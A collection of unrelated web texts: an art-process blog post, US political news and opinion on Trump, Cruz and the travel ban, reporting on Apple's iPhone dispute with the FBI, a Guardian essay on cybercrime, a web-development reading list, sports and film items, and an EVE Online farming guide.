Above you can see the rocks pretty much filled in. It might be hard to tell, but I thinned out the black outlines on the rocks in the distance to try and give the effect that they are receding into the back.
I made the tall vertical rocks red to balance out the image a bit. I didn’t want the only red in the image to be in the dinosaur, but I also didn’t want them to compete for attention. The eye is drawn to bright reds really quickly, so I dimmed the red in the rocks.
I also noticed that the very distant mountains, the faint blue shapes in the very back, might be drawing the eye toward the rocks and not towards the dinosaur, so I changed them to flow towards the dinosaur and tightened up their shape a bit. It’s a pretty minor change but I like how it worked out. I also added some shadows to the rocks in the very front.
A few minor changes, the addition of a rock in the bottom right that had been cropped and had escaped my attention until now, and it’s all done! For now… ahhhhh. There are still some things I’m not quite happy with, but this will do.
Here are some things that could be addressed:
The color of the grass might be a bit off, there is probably a better color to pull together the whole scene.
The shadows below the front rocks and the dinosaur itself don’t quite work. They don’t fit into the image as well as some of the other parts.
The entire composition could be re-done to make it more engaging.
Well, if you have been following this since the beginning, thanks for checking in. I’m happy with how this turned out, and I learned a lot. Now to figure out what is next!
HANAHAN, S.C. – Donald Trump threatened here Monday to file a lawsuit challenging Ted Cruz’s eligibility to serve as president because of his Canadian birth, escalating his feud with the Texas senator ahead of Saturday’s critical Republican primary in South Carolina.
Trump said at a news conference in Hanahan that he had consulted lawyers and is prepared to immediately file a lawsuit unless Cruz takes down his advertisements attacking Trump and retracts his statements about Trump’s past inconsistencies on abortion rights and other social issues.
“We will bring a lawsuit if he doesn’t straighten his act out,” Trump told reporters here Monday afternoon. “This guy’s just a plain out liar.”
Trump added, “He just comes out, and boom, boom, boom, absolute lies….He doesn’t even have the right to serve as president or even run as president.”
For weeks now, Trump has stoked a so-called birther controversy about Cruz, questioning whether his birth in Calgary, Canada, disqualifies him from serving as president.
Some of the Republican presidential candidates are going after Sen. Ted Cruz (R-Tex.), saying his birthplace could count against him in a presidential election. Here are the facts. (Sarah Parnass/The Washington Post)
The Constitution mandates that only “natural born citizens” can be president, though there are varying interpretations of the law as to whether Cruz would be disqualified. Cruz has long said that because his mother was a U.S. citizen by birth, he is one as well.
At the news conference, Trump also called Cruz “a very unstable guy” and urged reporters to question the senator’s Christianity.
“I have never seen anybody that lied as much as Ted Cruz,” Trump said. “He goes around saying he’s a Christian. I don’t know. You’re going to have to really study that.”
Cruz responded later in the day, calling Trump "rattled."
"You know, today Donald Trump held a press conference where he apparently lost it," Cruz told an audience in Camden, S.C. Cruz said that Trump called him "the most horrible person in the world" because Cruz had repeated things that Trump himself had said.
"I guess the only answer I can give for why he lost it today is this is the most rattled I’ve ever seen Donald," Cruz said.
He added, "But I guess the only explanation one could have is that his internal poll numbers for South Carolina must be plummeting.”
The companies are preparing to file friend-of-the-court briefs in the case, which they have described as a line in the sand against the U.S. government.
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On Thursday, Microsoft president Brad Smith said Congress should decide the scope of American law enforcement powers — not a federal court.
"The real concern here is actually the law and the implications for the future," he said, pledging to file a brief in the case.
Representatives for Yahoo and Facbook confirmed to The Hill that their companies would also file. A Twitter spokesman confirmed the plans publicly. Google, Amazon and other major players in the industry are all reportedly planning to follow suit.
It's unclear whether the companies will file individual motions or join together in one large filing.
During a conference call with reporters Thursday, an Apple executive seemed confident that the company would enjoy broad support from fellow tech companies.
The flood of legal support mirrors public comments made by many tech leaders in recent days, since a magistrate judge in the U.S. District Court for the Central District of California last week demanded that Apple comply with the FBI’s demand to build new software bypassing security mechanisms on an iPhone used by one of the San Bernardino, Calif., shooters.
Almost uniformly, tech leaders claimed that the FBI was over-reaching on its demand, creating a dangerous precedent that could threaten everyone’s privacy and digital security in the future.
Microsoft founder Bill Gates, the most prominent tech leader to appear to break with the pack, walked back his initial comments that seemed to question Apple’s stance. Smith’s comments Thursday made clear that Gates’ company is firmly on Apple’s side.
Companies have until March 3 to file their supporting briefs, formally known as amicus briefs.
On the other side of the debate, victims from the deadly Dec. 2 shooting in San Bernardino are reportedly planning to file a brief of their own supporting the FBI’s call for Apple to access the iPhone of one of the killers in that attack.
Fourteen people died in the incident, which is considered the deadliest terror attack on U.S. soil since the Sept. 11, 2001, attacks.
Digital protections have prevented the FBI from being able to access Syed Rizwan Farook’s phone, posing what bureau Director James Comey has described as an obstacle to obtaining evidence about the killing.
The court order last week demanded that Apple create new software that disables a pair of security mechanisms preventing federal agents from breaking into the phone by “brute force” by using an endless series of passcodes until they stumble on the right one.
Apple filed a formal brief on Thursday opposing the demand, which it called unconstitutional and claimed would set a “dangerous precedent” allowing the government to demand access to a slew of other companies’ devices.
Here are some stories about the world we now inhabit…
• In February this year, Bangladesh Bank was hit by the biggest bank robbery in history when thieves got away with $101m. The heist was accomplished not by tunnels or explosives, but by acquiring the access codes for the Swift global messaging system, which is what banks use to securely pass payment orders to one another. The criminals used Swift to instruct the US Federal Reserve to transfer money to their accounts. Then they cunningly erased their digital fingerprints by modifying the bank’s software.
• In June 2015, the US Office of Personnel Management revealed that its computer systems had been hacked and that the hackers had stolen the social security numbers, names, dates and places of birth, and addresses of 21.5 million people, including some who had undergone background checks for sensitive government posts.
• In October 2015, nearly 157,000 customers of the UK telco TalkTalk had their personal data stolen in a massive intrusion into the company’s computer systems. Police later arrested six teenage boys in connection with this cyber attack.
• In the past two years, hospitals worldwide have found themselves on the receiving end of a vicious type of cyber attack. Medical staff suddenly find that their hospital’s computer systems are locked and inaccessible to them because they have been secretly infiltrated. They then receive a message telling them that their data will be unlocked on payment of a ransom in Bitcoins. The European police agency Europol now reckons that the threat from “ransomware” has eclipsed all other forms of online theft and extortion.
Over the past year, someone has been probing the defences of the companies that run critical pieces of the internet
• Two months ago, a young Italian woman killed herself because she was traumatised by online abuse after an intimate video that she had sent to a friend was widely “shared” across the web. As soon as the images went viral, she was subjected to jeering comments, Photoshopped screenshots and cruel parodies that, in the end, tipped her over the edge.
• In June, it was revealed that two agencies of the Russian government had hacked into the computer systems of the Democratic National Committee. Shortly before the Democratic convention that nominated Hillary Clinton, WikiLeaks released thousands of emails and attachments stolen during the breach, some of which were distinctly unhelpful to Clinton and useful to Donald Trump.
• On 21 October, a series of distributed denial-of-service (DDoS) attacks caused widespread disruption of internet activity in the US. The attacks involved directing huge amounts of bogus traffic at servers belonging to Dyn, a company that is a major provider of domain name services (DNS) to other companies. For a time this severely affected major websites – including Twitter, Pinterest, Reddit, GitHub, Etsy, Tumblr, Spotify, PayPal, Verizon, Comcast and the PlayStation network. The attack was conducted using a huge botnet of unsecured “internet of things” devices such as home webcams and broadband routers.
• According to Bruce Schneier, a leading security expert, over the past year or so, someone has been probing the defences of the companies that run critical pieces of the internet. These probes, Schneier says, “take the form of precisely calibrated attacks designed to determine exactly how well these companies can defend themselves, and what would be required to take them down. We don’t know who is doing this, but it feels like a large nation state. China or Russia would be my first guesses.”
Welcome to cyberspace.
It didn’t used to be like this. In the first decade after the internet we use today was switched on, in January 1983, cyberspace was a brave new world – a glorious sandpit for geeks and computer science researchers. There was, in that magical virtual world, no crime, no spam, no commercial activity and little concern about security – largely because “netizens” (for that is what they were called) knew one another, or at least knew what their institutional affiliations were. Discussion groups (then called newsgroups) were formed around every conceivable topic, no matter how arcane. (Early on, there was a vigorous argument about whether there should be a discussion group on sex, and when one finally appeared, someone else insisted that logically there should therefore also be newsgroups on drugs and rock’n’roll. So those were set up too.) Codes of conduct, etiquette and social norms evolved to regulate – or at least moderate – online behaviour, reduce “flame wars”, and so on. It was, in a way, a kind of wonderland, and it gave rise to the techno-utopianism embodied in John Perry Barlow’s “Declaration of the independence of cyberspace”, which began: “Governments of the industrial world, you weary giants of flesh and steel, I come from cyberspace, the new home of mind. On behalf of the future, I ask you of the past to leave us alone. You are not welcome among us. You have no sovereignty where we gather...”
Facebook Twitter Pinterest In June, Russian agencies hacked into the computers of the Democrat National Committee, accessing emails that damaged Hillary Clinton and helped Donald Trump. Photograph: USA/Rex/Shutterstock
What it came down to was this: in the decade 1983-93, cyberspace and “meatspace” (Barlow’s term for the real, physical world) were effectively parallel universes. They existed side by side, and for the most part the inhabitants of meatspace knew nothing of the virtual world.
But from 1993 onwards, all that began to change. The main catalysts were the world wide web, the Mosaic browser and AOL. The web provided non-geeks with an answer to the question: what is this internet thing for? Mosaic, the first modern browser, showed them what the web could do and, more importantly, what it could become. Demand for access to the internet exploded. AOL met the demand by providing a reliable, easy-to-configure, dial-up service for millions of people, and so brought the “redneck hordes” – ie people unfamiliar with the mores and customs of the netizen era – on to the internet. Scenting profits, companies and pornographers scrambled for a piece of the action, closely followed by scammers and spammers and all kinds of other undesirables.
The result was that the parallel universes gradually merged, and we wound up with the composite networked world we now inhabit – a world that has the affordances of both cyberspace and meatspace. Which helps to explain why we are having such trouble coming to terms with it.
Facebook Twitter Pinterest In October 2015, nearly 157,000 TalkTalk customers had their personal details stolen by six teenage boys. Photograph: Zmeel Photography/Getty Images
This blended universe is a strange place, simultaneously wonderful and terrifying. It provides its users – ordinary citizens – with services, delights and opportunities that were once the prerogative only of the rich and powerful. Wikipedia, the greatest store of knowledge the world has ever seen, is available at the click of a mouse. Google has become the memory prosthesis for humanity. Services such as Skype and FaceTime shrink intercontinental distances for families and lovers. And so on.
But at the same time, everything we do on the network is monitored and surveilled by both governments and the huge corporations that now dominate cyberspace. (If you want to see the commercial side of this in action, install Ghostery in your browser and see who’s snooping on you as you surf.) Internet users are assailed by spam, phishing, malware, fraud and identity theft. Corporate and government databases are routinely hacked and huge troves of personal data, credit card and bank account details are stolen and offered for sale in the shadows of the so-called “dark web”. Companies – and public institutions such as hospitals – are increasingly blackmailed by ransomware attacks, which make their essential IT systems unusable unless they pay a ransom. Cybercrime has already reached alarming levels and, because it largely goes unpunished, will continue to grow – which is why in some societies old-style physical crime is reducing as practitioners move to the much safer and more lucrative online variety.
“All human life is there” was once the advertising slogan for the now-defunct News of the World. It was never true of that particular organ, which specialised mostly in tales of randy vicars, celebrity love triangles, the foolishness of lottery winners and similar dross. But it is definitely true of the internet, which caters for every imaginable human interest, taste and obsession. One way of thinking about the net is as a mirror held up to human nature. Some of what appears in the mirror is inspiring and heart-warming. Much of what goes on online is enjoyable, harmless, frivolous, fun. But some of it is truly repellent: social media, in particular, facilitate firestorms of cruelty, racism, hatred and hypocrisy – as liberals who oppose the Trump campaign in the US have recently discovered. For a crash course in this darker side of human nature, read Jon Ronson’s book So You’ve Been Publicly Shamed and weep.
S o we find ourselves living in this paradoxical world, which is both wonderful and frightening. Social historians will say that there’s nothing new here: the world was always like this. The only difference is that we now experience it 24/7 and on a global scale. But as we thrash around looking for a way to understand it, our public discourse is depressingly Manichean: tech boosters and evangelists at one extreme; angry technophobes at the other; and most of us somewhere in between. Small wonder that Manuel Castells, the great scholar of cyberspace, once described our condition as that of “informed bewilderment”.
Facebook Twitter Pinterest According to IT journalist Sean Gallagher, the internet ‘looks a lot’ like New York of the late 70s: ‘There is a cacophony of hateful speech, vice of every kind… and policemen trying to keep a lid on all of it’. Photograph: Alain Le Garsmeur/Getty Images
One way of combating this bewilderment is to look for metaphors. The idea of the net as a mirror held up to human nature is one. But recently people have been looking for others. Sean Gallagher, the IT editor of Ars Technica, for example, reaches for an urban reference. “In the New York City of the late 1970s,” he writes, “things looked bad. The city government was bankrupt, urban blight was rampant, and crime was high. But people still went to the city every day, because that was where everything was happening. And despite the foreboding feelings hanging over New York at the time, the vast majority of those people had at most minor brushes with crime.”
“Today,” he continues, “we all dabble in some place that looks a lot like 1970s New York City – the internet. (For those needing a more recent simile, think the Baltimore of The Wire.) Low-level crime remains rampant, while increasingly sophisticated crime syndicates go after big scores. There is a cacophony of hateful speech, vice of every kind... and policemen of various sorts trying to keep a lid on all of it – or at least trying to keep the chaos away from most law-abiding citizens. But people still use the internet every day, though the ones who consider themselves street smart do so with varying levels of defences installed. Things sort of work...”
They do. But the weakness of the NYC metaphor is that the city was eventually cleaned up and a kind of order restored. So in that sense, it’s an unrealistic, optimistic scenario for the net. Consequently, those who fear that humanity will struggle to get a grip on cyberspace reach for more alarming metaphors. Could it, for example, become some kind of “failed state” like contemporary Somalia, with, as Gallagher puts it, “warring factions destroying the most fundamental of services, ‘security zones’ reducing or eliminating free movement, and security costs making it prohibitive for anyone but the most well-funded operations to do business without becoming a ‘soft target’ for political or economic gain”?
Our dilemma is that while the future of cyberspace is unknowable, we need to think about it because it affects us all
The Fragile States Index, an annual report published by the US thinktank the Fund for Peace and the magazine Foreign Policy, defines a fragile state as one “whose central government is so weak or ineffective that it has little practical control over much of its territory; non-provision of public services; widespread corruption and criminality; refugees and involuntary movement of populations and sharp economic decline”.
Some, but not all, of this maps neatly on to cyberspace. There is, for example, no central government that has effective control over the network’s “territory” (though the US, for historical reasons, has had more influence over it than any other nation, much to the annoyance of the Russians and the Chinese). In fact, one of the central problems posed by the network is that it is a global system in a Westphalian world of sovereign states and local laws.
Our dilemma is that while the future of cyberspace is unknowable, we need to think about it because it affects us all. The standard method that large corporations and governments use for this purpose is by imagining a set of possible futures or scenarios and assessing the implications of each one. The aim is not to “predict” the future, but to try and sketch the range of possibilities that we might have to deal with.
As far as cyberspace is concerned, the most interesting set of scenarios I’ve seen come from a US thinktank, the Atlantic Council. Its analyst, Jason Healey, sets out five candidates:
• Status quo: a continuation of what we now have. “Cyberspace is generally a safe place in which to do business and to communicate with others, even though criminals continue to engage in multimillion-dollar heists and steal millions of people’s personal details; national foreign intelligence agencies poke and prod for military and industrial secrets.”
• Conflict domain: essentially an extrapolation of the militarisation of cyberspace that we are already seeing – a world in which cyberwarfare becomes common.
• Balkanisation: cyberspace has broken into national fiefdoms: there is no single internet, just a collection of national internets.
• Paradise: cyberspace becomes an overwhelmingly secure place where espionage, warfare and crime are rare.
• Cybergeddon: cyberspace degenerates into a virtual failed state with all that that implies. Think modern-day Mogadishu.
Some of these are more implausible than others. Healey’s “paradise” scenario is pure fantasy. And the power of internet corporations – plus the reach and dominance of national intelligence agencies such as the NSA – suggest that some kind of (possibly repressive) order would be restored long before “cybergeddon” would be reached.
So we’re left with two real possibilities – some blend of Balkanisation and inter-state conflict, both extrapolations of trends that we can already observe.
If this is indeed how things pan out, I know one scholar, a distinguished professor of international relations, who won’t be in the least surprised. Sixteen years ago, in a conversation about the internet, he asked me if I really believed that the internet represented a fundamental challenge to established power structures. I replied vehemently in the affirmative – because, in my techno-utopian fervour, I did believe. He smiled but said nothing, and so eventually I asked him what he thought. “We’ll see, dear boy,” he replied. “We’ll see.”
He’s still around, as wise as ever. And I am a recovering utopian.
John Naughton’s most recent book, From Gutenberg to Zuckerberg: What You Really Need to Know About the Internet, is published by Quercus
This article contains affiliate links, which means we may earn a small commission if a reader clicks through and makes a purchase. All our journalism is independent and is in no way influenced by any advertiser or commercial initiative.
THE MORNING PLUM:
President Trump’s immigration ban faces a crucial legal test later Tuesday, when an appeals court is set to hold a hearing to decide whether to lift a lower court’s decision to place a hold on it. Judging by his multiple tweets attacking the judiciary for placing a temporary hold on his ban, Trump is trying to pressure the courts into restoring and upholding it, while simultaneously laying the groundwork for possible defeat by explicitly stating that any terrorist attacks that happen later should be blamed on the judges who rule against it.
[Is President Trump’s executive order constitutional?]
But it’s important to step back and appreciate the bigger picture here. Trump — faced with an outpouring of popular opposition to his ban, and a level of institutional pushback to it, that surely caught him and his advisers off guard — is actively experimenting with how far he can go in delegitimizing the institutions that are already signaling they may place serious, meaningful limits on his power. Consider:
Trump’s tweets attacking the judiciary go well beyond conventional criticism of judicial opinions on the substance or of “unelected judges” who are said to be overstepping their power. The description of the judge who first blocked his ban as a “so-called judge” directly targeted the judiciary’s institutional legitimacy. And it’s not hard to imagine where Trump’s explicit claim that any terrorist attack should be blamed on the judiciary will take him next, if such an attack does occur.
Trump recently claimed that “any negative polls are fake news,” particularly those from major networks like CNN, NBC and ABC. He added: “Sorry, people want border security and extreme vetting.” In other words, any poll that finds that Trump or his policies are unpopular is suspect or invented by definition. Multiple polls have shown that majorities reject his travel ban and his border wall, and global protests have broken out against the ban in particular. In other words, the public backlash to the first two major efforts to translate Trumpism into policy reality has been severe. In response, Trump is explicitly telling his supporters that any empirical evidence of that backlash must be discounted as fake news — particularly if the polls in question come from major news organizations, who are thus being cast as deliberate deceivers of Real Americans.
You cannot divorce that last point from the larger context here: Trump and Sean Spicer spent days attacking the news media for accurately reporting on his shriveled inauguration crowds, and Stephen Bannon has claimed that Trump’s “populist nation-state policies are supported by the vast and overwhelming majority of Americans” — in other words, that a vast silent majority is rooting for Trumpism to succeed. But that’s just nonsense. The effort to falsely inflate impressions of popular support for Trump — and for policies that in reality are deeply controversial and divisive and are being rejected by majorities — is concerted and deliberate. And the unabashed use of obvious and demonstrable lies to carry out this deception campaign is remarkably brazen.
Trump is now claiming that the media is covering up terrorist attacks, saying that “ISIS is on a campaign of genocide, committing atrocities across the world,” and that “in many cases, the very, very dishonest press doesn’t want to report it.” The larger context here is crucial, too: The media has in fact been invaluable in rooting out the dangerously incompetent process that led to the creation of this ban, as well as the ugly, discriminatory ideological underpinnings of the idea. In response, Trump, once again, is moving to obliterate the very possibility of shared agreement on the legitimate institutional role of the news media in informing the citizenry — right when it is playing that role to great effect by shedding light on the truth about his latest and most visible exercise of executive power, thus demonstrating that it can function as a check on him.
The travel ban has unleashed a surprisingly robust response from the public and our institutions, making this into a first test case as to whether popular mobilization and those institutions can effectively rein in Trump’s authoritarian and nakedly discriminatory impulses. The question is not just whether this ban can be stopped. It’s also whether Trump can be blocked from extending and expanding this policy and instituting others like it.
[Trump must stop lying or Americans will think he is nuts]
But even as that response has arisen, Trump is also testing how far he can go in delegitimizing our institutions — and in telling lies designed to minimize impressions of popular opposition to the scope and nature of his exercise of power — apparently in order to undermine the degree to which those forces will continue to function as a check on that power later. So it’s important to appreciate that this test case flows in two directions.
* FATE OF TRAVEL BAN RESTS WITH APPEALS COURT: Trump’s travel ban will get a hearing in a federal appeals court later Tuesday, and The Post overview of the situation notes:
The future of the temporary ban now lies with three judges on the U.S. Court of Appeals for the 9th Circuit: William C. Canby Jr., who was appointed by President Carter; Judge Richard Clifton, who was appointed by President George W. Bush; and Judge Michelle Taryn Friedland, who was appointed by President Obama.
Whatever decision is reached may be appealed to the Supreme Court, but the court only has eight members and might deadlock, in which case the appeals court ruling would stand.
* A KEY CONCESSION ABOUT THE BAN? Adam Liptak observes this about the administration’s latest brief defending it:
[The brief] asked the appeals court, at a minimum, to reinstate at least part of Mr. Trump’s order — appearing to acknowledge the possibility that the government’s case might not be successful. “At most,” the brief said, the court order blocking the ban should be limited to “previously admitted aliens who are temporarily abroad now or who wish to travel and return to the United States in the future.”
The administration hopes that at least some of the travel ban can remain in place — keeping out those who have not ever visited the United States — while the underlying legal dispute is resolved. Small victories!
* HOMELAND SECURITY CHIEF TO BE GRILLED ON BAN: The Los Angeles Times notes that John Kelly, the secretary of homeland security, is set to face tough questioning from lawmakers Tuesday about Trump’s immigration ban:
Kelly will be in the awkward position of defending the execution of a directive he didn’t see until the week it was issued and wasn’t told was coming until the day before it was signed.
Here’s a question for Kelly: Do you disagree with all of the national security professionals who believe this ban makes us less safe by sending a message that the United States is at war with Islam?
* TRUMP IS PUTTING TRAVEL BAN IN LEGAL JEOPARDY: David George explains that the travel ban’s legal fate will turn on how expansively the courts interpret presidential power, but with a twist:
Typically, legal experts say, the president would almost certainly win a legal fight involving national security and foreign citizens entering the country. But the rollout of this executive order has been far from the norm. Trump’s campaign promise to impose a Muslim ban, his recent tweets attacking the GOP-appointed judge who ruled against him and the White House’s clumsy handling of the order’s implementation may change the calculation.
It would be a fitting end to this saga if Trump’s anti-Muslim demagoguery and assaults on the judiciary, and Bannon’s incompetent rollout of the ban, ended up dooming it.
* SETTING THE RECORD STRAIGHT ON TRUMP’S BAN: The White House likes to say that the seven countries targeted by Trump’s ban were merely selected from a list of countries that the Obama administration was worried about, as evidenced by Obama’s signing of a bill that restricted a visa program involving those countries. But Glenn Kessler has a detailed look at the actual history here, and it shows that the story is much more complicated than the White House claims.
Here are the crucial points: The Obama administration’s measure did not ban people from visiting, and its emphasis was on people who traveled to those seven countries, while Trump is banning them, and his emphasis is on people who are nationals of those countries. Gosh, whatever would motivate Trump’s decision to make this all about nationality?
* ANGRY CROWDS PROTEST OBAMACARE REPEAL: The New York Times reports that Republicans are increasingly anxious about their strategy for repealing Obamacare, and are now opting for a go-slow approach:
Many are facing tough, angry questions at town hall meetings. … A crowd of protesters gathered outside a town meeting in California held over the weekend by Representative Tom McClintock, who was escorted by police officers as he left the event, according to news reports. Representative Gus Bilirakis of Florida faced 200 angry supporters of the health care law at a meeting on Saturday.
Turns out tea partyers aren’t the only ones who have proved willing to show up at town meetings and make their feelings known about Obamacare.
* MELANIA HOPES TO MAKE BIG BUCKS OFF FIRST LADY ROLE: Melania Trump has now filed a lawsuit over a newspaper story about her, alleging that it will compromise her ability to establish “multimillion dollar business relationships” during her years as first lady, in which she will be “one of the most photographed women in the world.”
As former George W. Bush ethics chief Richard Painter puts it: “There has never been a first lady of the United States who insinuated that she intended to make a lot of money because of the ‘once-in-a-lifetime’ opportunity of being first lady.” This White House is unconventional and disruptive!
* AND THE TRUMP TWEET OF THE DAY, IT’S-STILL-ABOUT-OBAMA EDITION: Good morning, Mr. President:
I don't know Putin, have no deals in Russia, and the haters are going crazy – yet Obama can make a deal with Iran, #1 in terror, no problem! — Donald J. Trump (@realDonaldTrump) February 7, 2017
Most exciting of all, however, is a brand-new sequence, dubbed “Epilogue: Etta’s Mission,” that hints at a future top-secret assignment for Lucy Davis’s Etta Candy and Steve Trevor’s stout military crew — Saïd Taghmaoui’s Sameer, Ewen Bremner’s Charlie, and Eugene Brave Rock’s Chief Napi. Revolving around a mysterious artifact that must be recovered before it falls into the hands of villainous forces, it’s a brief, tantalizing coda that suggests further exploits for the heroes of director Patty Jenkins’s film — and you can now watch it above, via Yahoo Movies‘ exclusive debut.
When we spoke with Jenkins and Davis about the epilogue, the director revealed that it was a late addition to the project, and one that everyone was extremely excited about because it gave Davis’s beloved Etta more screen time.
Lucy Davis as Etta Candy and Gal Gadot as Diana in Wonder Woman. (Photo: Warner Bros.) More
“It was conceived after we wrapped,” Jenkins explained. “There were no cut scenes in the movie, basically, which I’m very happy about, because you can’t always do that. I’m very hard on the script before we go in, and you’re always hoping for that — that you’re not wasting your precious days. We got lucky on this one, that that was the case. And every single one of us wished that Etta was in every scene, as well as the team. We were like, ‘Can we just put them in everything?’ They were just so great!
“So [the epilogue] was kind of a shared delight,” Jenkins said. “We started to have these incredible materials that started to come together on the documentary side, but we also loved the idea of having another scene and some other things, and bringing back some of our favorite characters and getting to mess around with them some more. So it just came very naturally … the idea of getting to see her and the team making the plan for the future was pretty exciting.”
Davis told us it felt right to have Etta rejoining Steve’s mates, since “it let you feel that things were still going on. Because it was obviously really sad, I thought, that Steve was no longer there. But it felt like he’d gotten a group of people together who wouldn’t have been together if it weren’t for him. So I really enjoyed that aspect of it.” Moreover, she conceded that she’d be OK if the epilogue wound up leading to more action in Etta’s future (“I’ll be fisticuffing my way through Europe!”), to which Jenkins enthusiastically concurred (“Yeah, several people said that she should lead the mission, so…”).
Neither, however, was ready to divulge any details about plans for a sequel (which Jenkins is reportedly on the verge of signing a historic deal to direct), in part because they still feel like their experience with the current film is ongoing. As Davis recounted, just a day earlier, a woman had informed her that Wonder Woman has inspired a change in the way people say “Wonder Woman” in sign language — now, it’s a crossed-wrist gesture, akin to the move performed by Gal Gadot in the movie. “I was like, that was really cool,” she gushes.
Web Development Reading List #150: Less Code, GitHub’s Security, And The Morals Of Science
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There is a lot to learn this week. It starts with non-technical things like going for a walk to refresh your mind and finishes with how to prevent reverse XSS attacks in forms. But it doesn’t matter whether you learn how to build self-contained web components using the new specification or to maximize the efficiency of your Angular 2 app or just how you can write less code. What matters is that you keep asking questions and that you try to get better and smarter at your craft.
There is a lot to learn this week. It starts with non-technical things like going for a walk to refresh your mind and finishes with how to prevent reverse XSS attacks in forms. But it doesn’t matter whether you learn how to build self-contained web components using the new specification or to maximize the efficiency of your Angular 2 app or just how you can write less code. What matters is that you keep asking questions and that you try to get better and smarter at your craft.
Further Reading on SmashingMag:
General
Heydon Pickering shares tips on writing less code to make your developer life easier. Something we all should remember.
Nucleus is certainly not the first living style guide generator but it’s still worth sharing. The Node.js module fits into existing projects, follows the Patternlab splitting by default, and has a nice layout where you easily find the things you’re looking for.
If you ever lost a stash in git, here are a few tips on how to recover dropped stashes.
Meet Smashing Book 6 — our brand new book focused on real challenges and real front-end solutions in the real world: from design systems and accessible single-page apps to CSS Custom Properties, CSS Grid, Service Workers, performance, AR/VR and responsive art direction. With Marcy Sutton, Yoav Weiss, Lyza D. Gardner, Laura Elizabeth and many others. Table of Contents →
Nucleus is a living style guide generator that fits in well in both new and existing projects.
Security
Matthew Green asks himself if Apple’s cloud key vault is a crypt backdoor. In his explanatory answer, he shares why Apple’s method of using Hardware Security Modules is pretty clever and maybe worth learning more about if you’re interested in storing sensitive user data behind weak user-set passwords.
Using social engineering by pretending to be a valid website in the URL bar is easy with the RTL feature of Chrome and Firefox and this little trick. I’m sure this type of attack is successful since most normal users do check if a URL is correct but they can’t see anything bad in it. A good reminder that we need to find better ways to let users know that the URL they visit is safe.
feature of Chrome and Firefox and this little trick. I’m sure this type of attack is successful since most normal users do check if a URL is correct but they can’t see anything bad in it. A good reminder that we need to find better ways to let users know that the URL they visit is safe. When we look into the source code of forms at github.com, we’ll find some interesting markup in there. Its purpose: preventing XSS attacks. In this blog post we can learn about the tricks that GitHub uses to maximize the security of their web application.
Troy Hunt wraps up how our personal data is usually leaked and why security is a design process, not only an implementation process. Also a good primer on how to design a password recovery feature.
Who’s really behind the URL? Ray Baloch uncovers an address bar spoofing vulnerability in Chrome and Firefox. (Image credit: Rafay Baloch)
Web Performance
Nolan Lawson wrote about the cost of small modules, analyzing how much code is used when you build your codebase with a lot of small modules. The article reveals interesting stats and compares modern minifiers and JavaScript bundlers, as well as execution times of such bundles in various browsers.
JavaScript
Minko Gechev shares how you can do Ahead-of-time compilation in Angular 2 to improve performance and reduce energy and bandwidth consumption to make your application more efficient.
Addy Osmani shares best practices on how to use offline storage for your web application to ensure the app stays usable when the network connection is flakey.
Eric Bidelman explains the new Shadow DOM v1 standard, the now de-facto standard for building self-contained web components.
Work & Life
Margaret Gould Stewart talks about how she learned that making mistakes is crucial for a team’s morale and why this prevents people from becoming bored, burning out, and from feeling annoyed about their manager.
Sometimes, a long walk outside can refresh your mind. It can give you new inspiration and help you calm down if you’re feeling upset.
Going Beyond…
Bill Gates shares what he learned from his school teacher and how only later he realized that students should ask teachers more questions. If we ask more, we will learn from others. It’s always harder to proactively communicate knowledge to other people than being asked for it.
Phillip Rogaway shares a paper on “The Moral Character of Cryptographic Work” (PDF). An interesting read on the shift of power and why cryptography is often a political tool that demands high morals and ethical fundamentals of those who build it. Anyone who ever discussed the topic of morals and ethics in science should read this.
And with that, I’ll close for this week. If you like what I write each week, please support me with a donation or share this resource with other people. You can learn more about the costs of the project here. It’s available via email, RSS and online.
Asgeir Petur Thorvaldsson, a doctor in the anaesthesiology department at Landspitali University Hospital, Reykjavik, tweeted that his maternity ward had administered unprecedented levels of pain relief over the weekend – coincidentally nine months exactly since Iceland's 2-1 victory over England.
Roughly translated, Mr Thorvaldsson said: "Set a record for the number of epidurals in the maternity duty this weekend."
Iceland's major tournament debut was a roaring success last summer as they went all the way to the quarter-finals before losing to hosts and eventual runners-up France.
On Tuesday, it was announced that Saki was out of his fight with Khalil Rountree at UFC 219 on Dec. 30 in Las Vegas. The former world champion kickboxer explained the situation in his social media post, complete with a picture of him in a hospital bed.
“I wanted to announce this myself but i needed some time to recover mentally from this bad news,” Saki wrote. “I got injured during a training and went to the hospital for this.”
Initially, Saki said he wanted to gut through the injury and fight, but was advised against it.
“My team and management took the decision with the medical team that i needed treatment and i have to think of my health first,” he wrote. “I didn’t want to accept this but i’m glad i have the right people around me. It felt like i let my fans and supporters down, i was really looking forward to this fight. So the bad news was a bitter pil to swallow. But this is top sports and injuries are unfortunately a part of it. I’m recovering now and will be back in training soon.”
Saki (1-1) did not say what the exact injury was or how long he’ll be out of action.
The Netherlands native of Turkish descent made his UFC debut in September, knocking out Luis Henrique da Silva in the first round at UFC Japan. Saki, 34, won a $50,000 Performance of the Night bonus for his effort and earned a boatload of new fans in the process due to his exciting, striking-based fighting style.
Agence France Presse reported Saturday that just 50% of tickets to the 2016 games have been sold so far. Only 12% of the tickets for the accompanying Paralympic Games have been bought.
From the AFP:
Ricardo Leyser, who this week replaced George Hilton as Brazil's minister of sport, said in an interview with Folha newspaper that he was working on a plan to boost purchases. One measure could be the government buying up unsold tickets, particularly for the Paralympics, and distributing them among schools.
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First task will be to survey nearby constellations for Jove Observatory beacons. Use the in-game notepad to drag and drop all the systems that have that celestial beacon up.
Circadian Seekers spawn at Jove Observatories, but also roam around the system at the asteroid belts, the gates, pocos, station and maybe even moons (not sure on that one).
After you make a list, go to the first system with a Jove Observatory beacon and see if the Seekers around. If they are attack and blow them all up. They are usually in 2 different waves, once you destroy the first wave the second wave should warp in. If you don’t see them there, they maybe are roaming so check around the system or another player may have already nuked them down.
Seeker Wave packs generally come in 3 to 5 npcs. Respawn timer is around 15 to 20 mins once you destroy last npc from both packs.
Note: Drifters also have a chance to spawn in any of the waves, and upon first landing on grid at the Jove Observatory. Make sure to warp out ASAP, Drifter battleships do massive amount of DPS.
If Drifters are up, mark the system on your notepad with a X and do not revisit until next DT (downtime).
Drop rate for the Antikythera Elements seems to be around one element per wave. Antikythera Element is required to make Entosis Modules.
Circadian Seeker Stats
Offense Per Hit Interval Per Second Range Falloff Tracking EM Exp Kin The EM Exp Kin The Turrets: 154 – – 154 5.0 sec 31 – – 31 67,500 m 33,750 m 0.04 rad/sec Missiles: – 105 105 – 15.0 sec – 7 7 – ~84,375 m
